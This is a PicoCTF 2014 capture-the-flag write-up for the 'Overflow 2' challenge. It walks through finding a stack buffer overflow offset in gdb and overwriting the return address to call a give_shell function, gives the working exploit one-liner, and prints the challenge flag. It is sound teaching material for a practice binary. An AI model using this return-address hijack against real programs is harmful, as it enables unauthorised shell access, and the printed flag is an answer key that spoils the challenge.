PicoCTF 2014 Write-ups

Overflow 2 - 70 (Binary Exploitation)

Writeup by Oksisane

Created: 2014-11-11 23:19:09

Last modified: 2014-11-17 20:58:07

Problem

This problem has a buffer overflow vulnerability! Can you get a shell? You can solve this problem interactively here, and the source can be found here.

Hint

How can you run the give_shell function?

Answer

Overview

Implement basic ROP to call give_shell.

Details

I'm going to assume you are familiar with the basics of a buffer overflow. If not, read the write-up for Overflow 1.

Let's get started! In this problem we are going to learn how to use the basics of ROP to control the flow of a program and call this function:

/* This never gets called! */
void give_shell(){
    gid_t gid = getegid();
    setresgid(gid, gid, gid);
    system("/bin/sh -i");
}
What makes this vulnerability possible

When we call vuln(), a return address is pushed onto the stack. This address tells the program what to do when it is finished executing the instructions defined inside vuln(). In our example:

int main(int argc, char **argv){
    if (argc > 1)
        vuln(argv[1]);
    return 0;
}

The return address would point to return 0;, the next instruction after the call to vuln. By using the same sort of buffer overflow we did in overflow 1 we can overflow our buffer into the memory containing the return address (the register that stores this is called eip). Then we can change the value of the return address to whatever we want (which will be the start of the give_shell() function in this case). Once the program is finished executing vuln() it will read our fake return address and jump to our shell!

Before we are finished we need a few pieces of information to actually execute the exploit. The first thing we need to know is how far up the stack to write. We can figure this out using gdb, a program debuging tool. This is how you start gdb in the shell:

pico89244@shell:~$ cd /home/overflow2/
pico89244@shell:/home/overflow2$ gdb overflow2
GNU gdb (Ubuntu 7.7-0ubuntu3.1) 7.7
Copyright (C) 2014 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from overflow2...(no debugging symbols found)...done.
(gdb)

Next, we need to set the input to our program. To do this we type:

set args `python -c 'print "A"*30'`

Finally, we have to run the program in gdb. To do this we simply type run. You should see this output:

(gdb) set args `python -c 'print "A"*30'`
(gdb) run
Starting program: /home/overflow2/overflow2 `python -c 'print "A"*30'`

Program received signal SIGSEGV, Segmentation fault.
0x08004141 in ?? ()
(gdb)

See the return address, 0x08004141? The 4141 are our A values! Since we overwrote half the address with 30 values of A as our argument, this tells us that eip occupies positions 28-32 above the base of our stack, or 12 above our 16 character buffer. In other words, by writing A*28 and then 1234, 1234 would be our new return address. Now that we know how to change eip all we need to know is what location we should change eip to. Still in gdb, we can find the address of the give_shell() function by running

(gdb) print &give_shell
$1 = (<text variable, no debug info> *) 0x80484ad <give_shell>
(gdb)

Nice! We now know 0x80484ad is the address of give_shell.

With these two pieces of knowledge, let's exit gdb and construct our final exploit :

./overflow2  `python -c 'print "A"*28 + "\xad\x84\x04\x08"'`

We print A 28 times to write up the stack to eip, then 0x80484ad(in little edian) to tell the function to jump to give_shell. Let's run it:

pico89244@shell:/home/overflow2$ ./overflow2  `python -c 'print "A"*28 + "\xad\x84\x04\x08"'`
$ whoami
pico89244
$ cat flag.txt
controlling_%eip_feels_great

Sure enough, this gives us our shell and the flag!

Flag

controlling_%eip_feels_great